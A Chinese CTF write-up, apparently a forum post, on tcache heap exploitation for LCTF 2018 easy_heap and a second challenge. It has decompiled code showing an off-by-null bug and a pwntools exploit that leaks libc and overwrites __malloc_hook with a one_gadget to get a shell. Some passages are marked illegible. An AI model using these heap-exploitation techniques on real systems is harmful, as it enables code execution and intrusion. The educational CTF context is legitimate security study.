

前言：

花时间学习了一下tcache的一些东西，现在来写一写关于这个机制的两道解题过程。

正文：

2018 LCTF easy\_heap：

一道关于tcache的利用题，也是之前打LCTF的第一题，现在来看一看。

试试程序发现是常规的堆题。

来看看伪代码：

漏洞主要就出在创建堆函数中，存在一个null-byte-one漏洞：

```
unsigned __int64 __fastcall sub_BEC(_BYTE *a1, int a2)
{
    unsigned int v3; // [rsp+14h] [rbp-Ch]
    unsigned __int64 v4; // [rsp+18h] [rbp-8h]

    v4 = __readfsqword(0x28u);
    v3 = 0;
    if ( a2 )
    {
        while ( 1 )
        {
            read(0, &a1[v3], 1uLL);
            if ( a2 - 1 < v3 || !a1[v3] || a1[v3] == 10 )
                break;
            ++v3;
        }
        a1[v3] = 0;
        a1[a2] = 0; // null by one
    }
    else
    {
        *a1 = 0;
    }
    return __readfsqword(0x28u) ^ v4;
}
```

一般情况下，遇到null-byte-one我们都会选择用overlapping。但是这里所分配的堆块是固定0x100大小的，不能更改，所以说我们无法构造出我们想要的堆块来利用bin来构造攻击，首先先分配满十个堆块：

```
for i in range(10):
    create(0xf8, 'A'*0xf0)
```

然后delete掉十个，七个进cache，三个进unseat bin当中，这里delete需要交错delete，方便实现之后的unlink：

```
delete(1)
delete(3)
for i in range(5,10):
    delete(i)
delete(0)
delete(2)
delete(4)
```

然后我们再分配掉七个tcache bin，分配前两个unsort bin并且其中一个用上null-byte-one漏洞，此时的堆块情况就是这样的：

```
0x55b13d397300: 0x0000000000000000 0x0000000000000101 --> ■■■■■■create■unsort bin■■■
0x55b13d397310: 0x0000000000000000 0x000055b13d397500
0x55b13d397320: 0x0000000000000000 0x0000000000000000
0x55b13d397330: 0x0000000000000000 0x0000000000000000
```

[illegible]



[illegible]

这也是一道常规题，看一下伪代码可以发现也是只有一个null-byte-one漏洞：

这里size在范围内是由自己选择的，所以说比上面那一题简单一些，跟上面那一题的思路一样，利用unlink来解决问题，首先构造一个大于0x408的堆块来避免tcache机制，

这时候的堆块情况为：

利用null-byte-one将0x601变为0x600以此来unlink：

unlink后得到了一个0xb81的chunk，包括了以上三个chunk，但是其中chunk2还是有指针的，所以就能够堆块重用，使得两个指针指向chunk2，先malloc一个0x508的ch

此时原本的chunk2变成了：

所以在此malloc一个0x68大小的chunk2，就可以实现cache dup，之后就常规操作了，改变malloc地址为one\_gadget的地址，实现getshell：

EXP :

```
p.sendlineafter('Your choice: ', '3')
p.sendlineafter('Index:', str(index))

create(0x500, 'a' * 0x4ff)
create(0x68, 'b' * 0x67)
create(0x5f0, 'c' * 0x5ef)
create(0x20, 'd' * 0x20)
delete(1)
delete(0)
for i in range(9):
    create(0x68 - i, 'b' * (0x68 - i))
    delete(0)
create(0x68, 'b'*0x60+p64(0x580))
#gdb.attach(p)
delete(2)
#gdb.attach(p)
create(0x508, 'a'*0x507)
#gdb.attach(p)
show(0)
#gdb.attach(p)

data = u64(p.recv(6).ljust(8, '\x00'))
libc_base = data - 4111520
print 'libc_base :' + hex(libc_base)

create(0x68, 'b'*0x67)
delete(0)
delete(2)

malloc_addr = libc_base + libc.symbols['__malloc_hook']
one_addr = libc_base + 0x4f322
create(0x68, p64(malloc_addr)+0x5f*'a')
create(0x68, 'a'*0x67)
create(0x68, p64(one_addr))
print hex(malloc_addr)

p.sendlineafter('Your choice: ', '1')
p.sendlineafter('Size:', '10')

p.interactive()
```

tcache.zip (1.693 MB) [下载附件](#)

点击收藏 | 1 关注 | 2

[上一篇 : Data-Knowledge-Ac...](#) [下一篇 : 某KCMS5.0 代码审计 \(前台...](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

---

[现在登录](#)

热门节点

---

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)